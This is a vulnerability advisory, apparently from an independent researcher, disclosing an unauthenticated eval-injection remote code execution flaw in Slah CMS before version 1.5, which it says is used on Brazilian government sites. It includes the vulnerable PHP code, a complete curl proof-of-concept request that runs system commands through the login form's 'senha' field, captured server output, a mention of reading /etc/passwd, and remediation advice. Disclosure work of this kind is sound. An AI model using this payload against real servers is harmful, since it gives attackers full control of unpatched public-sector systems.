Slah Informática CMS < 1.5 RCE (Remote Code Execution)
Published on January 15, 2026

I - Advisory Information

Researcher : João Paulo de Oliveira Exploit Author : João Paulo de Oliveira Contact : contato[at]joaopaulodeoliveira[dot]dev Discovery Date : 2025-09-01 CVE ID : CVE-PENDING Risk Level : 10.0 Critical (CVSS v4.0)9.8 Critical (CVSS v3.1) CVSS v4 Vector : CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H CVSS v3 Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE Category : CWE-95 (Eval Injection) CWE Reference : https://cwe.mitre.org/data/definitions/95.html Status : Patched / Public Disclosure

II - Target Software Specifications

Application : Slah CMS Version : < 1.5 Platform : PHP Developer : Jhonatan Benetti Vendor : https://www.slah.com.br/ License : Proprietary (Commercial)

III - Executive Summary

A critical Remote Code Execution (RCE) vulnerability has been identified in Slah CMS, a software widely deployed in Brazilian governmental infrastructure (.gov.br) for institutional web management. The application fails to sanitize inputs before passing them to a dynamic evaluation function eval(). This flaw allows an unauthenticated remote attacker to execute arbitrary commands at the operating system level, leading to full system compromise and potentially impacting the integrity of public sector digital services.

IV - Technical Source Code Analysis

The vulnerability is located within the session management logic in config.php. The function session() accepts a key-value pair where the value is executed directly if a specific hardcoded key is provided.
  1. function session($key, $value = null)
  2. {
  3. if ($value != null) {
  4. $_SESSION[$key] = $value;
  5. // [REDACTED]: (not relevant to the RCE)
  6. }
  7. if ($key == '[email protected]' && $value != null) {
  8. eval($value);
  9. } else {
  10. return $_SESSION[$key] ?? null;
  11. }
  12. }
  1. Explanation: Regarding the config.php snippet above, the code lacks input validation or sandboxing. On line [61], the application checks for a specific identity string, if matched, line [62] executes the $value variable through eval(), allowing arbitrary code execution.

V - Proof Of Concept

The following cURL command demonstrates a successful exploitation of the identified vulnerability. By targeting the login endpoint, an unauthenticated attacker can inject a PHP system() function through the senha parameter. Due to the lack of input sanitization before the eval() call, various execution functions can be leveraged to achieve Remote Code Execution (RCE). Depending on the server's specific PHP configuration and enabled functions, the attacker can successfully utilize methods such as system(), shell_exec(), passthru(), or exec().
curl -X POST "https://[SUBDOMAIN].[DOMAIN].gov.br/login" \
          -H "Host: [SUBDOMAIN].[DOMAIN].gov.br" \
          -H "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" \
          -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" \
          -H "Accept-Language: en-US,en;q=0.5" \
          -H "Accept-Encoding: gzip, deflate, br" \
          -H "Content-Type: application/x-www-form-urlencoded" \
          -H "Origin: https://[SUBDOMAIN].[DOMAIN].gov.br" \
          -H "Referer: https://[SUBDOMAIN].[DOMAIN].gov.br/login" \
          -H "Connection: keep-alive" \
          -b "PHPSESSID=[RANDOM_PHPSESSID]" \
          --data "[email protected]&;senha=system('uname -a ; uptime');"
  1. Explanation: The provided curl command demonstrates the exploitation of the eval() vulnerability. The payload utilizes a semicolon to terminate any internal logic and force the execution of the injected PHP system() function. In this specific demonstration, the server is commanded to return its kernel information and current system uptime, proving full operating system interaction.
  2. Output: Linux server65.srvlinux.info 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux 19:02:54 up 209 days, 3:39, 0 users, load average: 1.61, 1.63, 1.95
RCE
Figure 1 - Remote Code Execution PoC output showing command execution (uname -a, uptime).
RCE
Figure 2 - Remote Code Execution PoC output showing command execution (cat /etc/passwd).

DISCLAIMER: Evidence videos have been redacted to obscure target URLs and sensitive parameters to prevent unauthorized exposure and ensure responsible disclosure.

Video PoC: Remote Code Execution via system()

Video PoC: Remote Code Execution via exec()

Video PoC: Remote Code Execution via shell_exec()

VI - Exploitation

This script exploits an unauthenticated RCE in Slah CMS caused by an insecure eval() sink in config.php. By injecting OS commands via the senha parameter in a crafted POST request, the exploit bypasses sanitization to grant full system control.
VIEW FULL POC EXPLOIT
RCE
Figure 3 - Automated PoC showcasing the functional exploit in action.

VII - Remediation & Mitigation

  1. Primary solution: update the Slah CMS to the latest patched version available from the vendor.
  2. Technical recommendation (code fix): the eval() construct should be strictly avoided as it is inherently insecure for handling dynamic logic. Replace it with a secure switch-case or a whitelist-based mapping to ensure user input is never executed as code.

VIII - Vulnerability Disclosure Timeline

  • 2025-09-01 - Vulnerability identification and internal analysis.
  • 2025-09-02 - Initial contact with the vendor.
  • 2025-09-02 - Vendor acknowledged contact and requested technical details.
  • 2025-09-03 - Detailed vulnerability report and remediation guidance provided.
  • 2026-01-05 - Official patch released by the vendor.
  • 2026-01-15 - CVE ID requested and disclosure process initiated.